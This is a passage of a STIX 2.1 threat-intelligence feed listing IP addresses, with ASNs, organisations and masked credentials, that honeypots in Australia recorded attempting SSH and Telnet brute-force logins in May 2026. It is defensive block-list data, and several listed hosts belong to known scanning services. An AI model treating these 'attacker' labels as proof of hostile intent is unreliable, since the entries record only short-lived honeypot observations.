      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6c95278a-9a3a-449e-8b44-dfcbe7d2ece6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): b*********************************************************************************************************************************************************************************************************************************'. Passwords observed (masked): ***, b*************************************************************************************************************************************************************************************************\".",
      "id": "indicator--fdc7f547-3442-4e1a-be8b-3da85e9c48df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--a065d493-ca2c-4b2c-a033-643fcb71f400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.254.176.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 53610. Organisation(s): Metro Communications Company, Inc..",
      "id": "indicator--457ac008-98ef-40e2-9106-46fcf293ecd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.113.151.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--1e780994-88a8-4df1-a72a-3b23d158f86f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.186.20.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--3422a08d-2a10-4a7e-9c31-b34d5831f68d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--00ad3154-2610-48df-9e99-a9e75333ffde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.22.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37049. Organisation(s): South African Digital Villages.",
      "id": "indicator--eacd3964-b4a5-45c8-ba87-9aafc2b50027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.242.160.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269251. Organisation(s): DEISIANE SALES SANTOS - SW LINK.",
      "id": "indicator--bbe9aaac-fa66-4593-b458-c209134f324c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.182.213.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): A***********r, r**t. Passwords observed (masked): a***********r, c******n.",
      "id": "indicator--a56942d2-1fe3-4b2b-9cd5-7b933faa8663",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.72.212.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc.",
      "id": "indicator--04340b29-6ef9-4aad-8ffb-29a029827a50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '75.183.8.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): u**r. Passwords observed (masked): a***n.",
      "id": "indicator--034531eb-3873-43c7-822f-3d6f05a629a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): 1******2.",
      "id": "indicator--de868aea-0f59-40be-ad45-2611c3706684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.110.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--261f9a69-60e1-43de-abf0-6cb8de52b50f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.192.83.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 4764. Organisation(s): Aussie Broadband.",
      "id": "indicator--13a4231a-4d45-433e-8e2c-793c1b88dadc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.196.13.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--13c7dbe2-ddab-4eb0-8058-3f7d9651aa8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.99.61.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TJ. ASN(s): 51346. Organisation(s): Opened Joint Stock Company Tojiktelecom.",
      "id": "indicator--17d5c4f5-1906-4075-8dc8-2e67bc7de0a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.177.2.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 48096. Organisation(s): Enterprise Cloud Ltd.. Usernames observed (masked): r**t, u****u, u**r, o****e, u*****1. Passwords observed (masked): 1****6, !******2, 1******r, 3***********4, 3**********4.",
      "id": "indicator--b88b2e92-e71f-4188-99a1-0d33e496c774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.233.3.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28135. Organisation(s): ASSOCIACAO NACIONAL PARA INCLUSAO DIGITAL - ANID. Usernames observed (masked): t*****r, u****u, u**r, 3**********4, a***n. Passwords observed (masked): *, ***, 1***5, 1******q, 1****e.",
      "id": "indicator--888a5047-2f1f-460d-a516-ca9f167812cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.45.95.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--bbc73b64-e46f-42b0-927e-cb949b796455",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.151.9.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 269930. Organisation(s): CAMPOS FARIAS GUILHERME.",
      "id": "indicator--af86f9f6-47e7-4eee-aff6-fb53cd378fa6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.83.114.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--ab04d995-b817-4b46-805d-08eaff4c4b17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.250.142.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--dbc75541-d2d2-44c9-a0fd-5e763881d78b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 58689. Organisation(s): ICC Communication.",
      "id": "indicator--3a568d39-8e05-411f-b0d3-8cbed9e97123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.250.80.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1a75f5bd-8e8e-4f11-8310-c5b215eb8565",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--0cfac61a-7b2c-448c-8445-8c760a7b97c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--76583976-535d-482c-bb3e-6bedca55fc99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.221.136.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:15:14.000Z",
      "valid_until": "2026-06-07T10:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, a***n, r**t, 3**********4, U****u. Passwords observed (masked): 3***********4, 3**********4, !********), !******z, 1****6.",
      "id": "indicator--72f7b6b6-90b7-4174-983a-ac7e119c74c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.124.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37705. Organisation(s): TOPNET.",
      "id": "indicator--3c80121c-c225-473a-b99a-84138531efa4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.158.11.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 137967. Organisation(s): Digicon Telecommunication Ltd.",
      "id": "indicator--532c3fc8-29c0-4c77-bc08-bc4417464b13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.102.206.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17995. Organisation(s): PT iForte Global Internet. Usernames observed (masked): u****u, a***n, r**t, U****u, d****y. Passwords observed (masked): 1****6, !********), !******z, 1**1, 1****************9.",
      "id": "indicator--0415bf5b-5a28-4637-abf4-70164f9644d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.165.139.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--98b1ca1b-3050-4be9-9c5e-6f8b84da1364",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.75.57.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NZ. ASN(s): 9500. Organisation(s): One New Zealand Group Limited.",
      "id": "indicator--55ea474d-419d-49aa-b0c8-991f6a22e3ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.93.84.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, 3**********4, f*****r, t**t, u**r. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, p******r.",
      "id": "indicator--ba5af998-f3b8-4dd7-9ecc-72dc32447609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.130.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T11:15:11.000Z",
      "valid_until": "2026-06-07T11:15:08.000Z"
    },
    {
      "created": "2026-05-06T11:15:11.000Z",
